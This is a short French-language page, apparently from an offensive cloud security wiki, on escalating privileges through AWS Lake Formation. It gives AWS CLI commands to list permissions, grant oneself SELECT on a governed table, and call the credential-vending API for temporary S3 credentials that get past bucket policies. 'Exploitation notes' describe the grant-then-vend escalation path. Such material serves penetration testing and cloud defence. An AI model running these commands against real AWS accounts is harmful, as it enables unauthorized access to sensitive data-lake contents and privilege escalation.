Lake Formation gouverne l'accès aux tables du lac de données et distribue des identifiants S3 éphémères, limités à ce qu'un principal s'est vu accorder. L'attaque consiste à détenir ou à s'octroyer soi-même une permission Lake Formation, puis à appeler l'API de distribution, qui renvoie des identifiants temporaires pour les données S3 sous-jacentes, contournant la stratégie propre au compartiment. Un principal capable d'administrer les autorisations Lake Formation peut étendre son propre accès à n'importe quelle table gouvernée.
Distribuer des identifiants pour une table#
aws lakeformation list-permissions
aws lakeformation get-temporary-glue-table-credentials \
--table-arn <table-arn> --supported-permission-types COLUMN_PERMISSION
# the response contains temporary S3 credentials for the governed data
S'octroyer l'accès#
aws lakeformation grant-permissions \
--principal DataLakePrincipalIdentifier=<your-arn> \
--resource '{"Table":{"DatabaseName":"db","Name":"t"}}' \
--permissions SELECT
Notes d'exploitation#
- La distribution d'identifiants renvoie de vrais identifiants S3 pour l'emplacement gouverné, de sorte qu'elle lit les données même lorsque la stratégie de compartiment refuserait directement l'appelant.
lakeformation:GrantPermissionsavec une portée d'administration est une élévation de privilèges au plan de données : octroyez, puis distribuez.- Les tables gouvernées protègent souvent les données les plus sensibles du lac, ce qui justifie l'étape supplémentaire de la voie de distribution.
Outils#
- AWS CLI (
lakeformation get-temporary-glue-table-credentials,grant-permissions).